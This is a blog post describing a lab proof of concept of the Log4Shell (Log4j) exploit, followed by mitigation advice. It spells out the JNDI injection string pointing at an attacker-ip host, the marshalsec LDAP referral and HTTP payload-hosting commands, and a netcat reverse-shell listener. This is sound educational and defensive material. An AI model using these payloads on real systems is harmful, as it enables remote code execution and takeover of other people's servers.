Exploiting Log4j: A Proof of Concept

3-minute read
Cyber Security

Introduction

The Log4j vulnerability, also known as Log4Shell (CVE-2021-44228), marked one of the most significant cybersecurity threats in recent history. This flaw, discovered in late 2021, enabled remote code execution (RCE) through Java Naming and Directory Interface (JNDI) lookups. Given the widespread use of Log4j in enterprise applications, its discovery sent the cybersecurity world into crisis mode.

This blog post details the proof of concept (PoC) I created to exploit the Log4Shell vulnerability in a controlled lab environment. It covers the attack’s technical execution, the setup process, and key mitigation strategies.

How Log4Shell Works

Log4Shell takes advantage of Log4j’s ability to interpret and execute JNDI lookup strings embedded in logged data. Attackers can inject a crafted string (e.g., ${jndi:ldap://attacker-server/exploit}) into log entries, causing the system to reach out to an external LDAP server controlled by the attacker. This LDAP server then redirects the request to an HTTP server, delivering a malicious Java class that gets executed on the vulnerable system.

Attack Components:

  1. Java Naming and Directory Interface (JNDI): A Java API for directory services lookup.
  2. Lightweight Directory Access Protocol (LDAP): Used to retrieve malicious payloads.
  3. HTTP Protocol: Delivers the malicious Java class to the victim.

Setting Up the Attack Lab

To replicate the Log4Shell exploit, I created a controlled lab environment with two virtual machines:

  • Kali Linux (attacker) hosting the LDAP and HTTP servers.
  • Ubuntu Linux (victim) running a vulnerable Java application.

Step 1: Preparing the Attack Server

On the Kali Linux machine, I cloned my GitHub repository containing the necessary files for the attack:

git clone https://github.com/AdamJNew/Log4J-Log4Shell-Demo-POC/

I modified the exploit.java file to include the attacker’s IP address, compiled it, and started an HTTP server to host the malicious payload:

javac Exploit.java
python3 -m http.server 8000

Then, I launched an LDAP server using the following command:

java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer http://attacker-ip:8000/#Exploit

Step 2: Setting Up the Target Machine

On the Ubuntu Linux machine, I deployed a demo web application using Log4j for logging login attempts. The application was configured to log input data, making it vulnerable to Log4Shell.

To test the vulnerability, I used Gobuster to scan for hidden endpoints:

gobuster dir -u http://target-ip -w common.txt

This revealed an /admin login page where I could inject the exploit payload.

Step 3: Exploiting the Vulnerability

To trigger the exploit, I entered the following JNDI lookup string in the email field of the login form:

${jndi:ldap://attacker-ip:1389/exploit}

Upon submission, the vulnerable application logged the string, causing it to reach out to the attacker’s LDAP server. The LDAP server redirected the request to the attacker’s HTTP server, which delivered the exploit.class payload.

Finally, I had a netcat listener set up on my attacker machine:

nc -lvnp 4444

As soon as the exploit was executed, I gained a reverse shell on the target machine, allowing me full control.

Mitigation Strategies

1. Update Log4j

The most effective way to mitigate Log4Shell is by updating Log4j to version 2.17.1 or later, where JNDI lookups are disabled by default.

2. Disable JNDI Lookups

If updating is not immediately feasible, disabling JNDI lookups can help prevent exploitation:

-Dlog4j2.formatMsgNoLookups=true

3. Network Restrictions

Organizations should restrict outbound traffic from their internal servers to prevent connections to attacker-controlled LDAP or HTTP servers.

4. Monitor for Indicators of Compromise

Implement Intrusion Detection/Prevention Systems (IDS/IPS) to detect suspicious network traffic and block JNDI-based exploits.

Conclusion

The Log4Shell vulnerability showcased how a seemingly small logging flaw could lead to massive cybersecurity threats. My proof of concept demonstrates how attackers could exploit this issue in a lab environment, reinforcing the need for rapid patching and strong security practices.

For the full PoC code and setup details, check out my GitHub repository: Log4J-Log4Shell-Demo-POC.

Stay secure and keep your software up to date!